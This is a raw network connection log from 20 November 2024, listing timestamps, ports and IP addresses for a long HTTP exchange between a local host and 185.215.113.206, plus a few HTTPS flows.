Nov 20, 2024 18:57:50.925060034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.925081015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.925812960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.925894976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.925929070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.925944090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.926572084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.926651001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.926676989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.926693916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.927412987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.927422047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.927462101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.928195000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.928286076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.928308964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.928358078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.929003000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.929105997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.929172993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.929248095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.929801941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.929872990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.929897070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.929944992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.930704117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.930730104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.930763006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.930826902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.931428909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.931473017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.931523085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.931560993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.932290077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.932336092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.932413101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.932599068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.933079004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.933135033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.933207035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.933293104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.933932066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.934006929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.934026957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.934189081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.934685946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.934756994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.934803963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.934844017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.935497046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.935605049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.935642004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.935661077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.936331034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.936427116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.936530113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.937215090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.937222958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.937273979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.937984943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.938064098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.938112020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.938112020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.938760996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.938862085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.938951969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.939573050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.939608097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.939682961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.940387964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.940457106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.940481901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.940689087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.941250086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.941327095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.941415071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.941456079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.942455053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.942466974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.942507982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.942917109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.942970991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.943150043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.943641901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.943726063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.943736076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.943981886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.944434881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.944488049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.944535017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.945238113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.945384026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.945393085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.945449114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.946048021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.946099997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.946178913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.946289062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.946975946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.947022915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.947087049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.947187901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.947684050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.947729111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.947779894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.948509932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.948622942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.948668003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.949304104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.949357033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.949382067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.949590921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.950158119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.950200081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.950210094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.950340986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.950965881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.951014042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.951037884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.951092005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.951803923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.951911926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.951977968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.952569962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.952620029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.952688932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.952846050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.953377008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.953429937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.967592001 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.968502998 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:50.968543053 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.975693941 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:50.975701094 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.993366003 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:50.993446112 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.058909893 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:51.076565981 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.103341103 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:51.108671904 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.109323025 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.109375000 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.109811068 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.109817028 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.119354963 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.122078896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.122134924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.122220993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.122383118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.122658968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.122711897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.123281002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.123362064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.124022961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.124100924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.124185085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.124831915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.124887943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.125001907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.125638008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.125684023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.125870943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.126477003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.126523018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.126702070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.127197981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.127285957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.127532005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.127585888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.128123045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.128191948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.128241062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.128917933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.129170895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.129219055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.129703999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.129832983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.129884958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.130522966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.130753040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.130796909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.131339073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.131661892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.132229090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.132282972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.132847071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.132987022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.132999897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.133033037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.133049011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.133766890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.133816004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.133820057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.134854078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.134902954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.134906054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.135176897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.135422945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.136013031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.136061907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.136471033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.136502028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.136548996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.137466908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.137523890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.137598038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.137852907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.137914896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.137969971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.138742924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.138767004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.138822079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.139483929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.139616966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.140250921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.140304089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.140436888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.141093016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.141145945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.141447067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.141539097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.141870022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.141917944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.142507076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.142682076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.142695904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.142729998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.142760038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.143526077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.143568993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.143613100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.143832922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.144320011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.144367933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.144642115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.144725084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.145184040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.145198107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.145229101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.145247936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.145966053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.146373034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.146425009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.146816015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.146831036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.146866083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.146876097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.147572994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.147619963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.147883892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.147922993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.148406029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.148449898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.149177074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.149229050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.149259090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.149271965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.149296045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.149322987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.149997950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.150053024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.150280952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.150330067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.150849104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.150913954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.150978088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.151027918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.151632071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.151689053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.151797056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.151844025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.152435064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.152491093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.152856112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.152894020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.153256893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.153269053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.153316021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.154094934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.154136896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.154185057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.154866934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.154920101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.155119896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.155699968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.155772924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.156174898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.156270027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.156558037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.156693935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.156707048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.156747103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.157370090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.157386065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.157466888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.157466888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.158155918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.158538103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.158842087 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.158870935 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.158976078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.158991098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.159039974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.159048080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.159120083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.159214973 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.159261942 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.159322023 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.159792900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.159846067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.160164118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.160212994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.160581112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.160689116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.160738945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.160789967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.161423922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.161539078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.161608934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.162286043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.162374973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.162568092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.162674904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.162996054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.163054943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.163100004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.163184881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.163835049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.163896084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.163922071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.163969994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.164593935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.164777994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.207334042 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.239331007 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.240027905 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.240057945 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.240483046 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.240489960 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.332590103 CET	80	49794	185.215.113.206	192.168.2.6
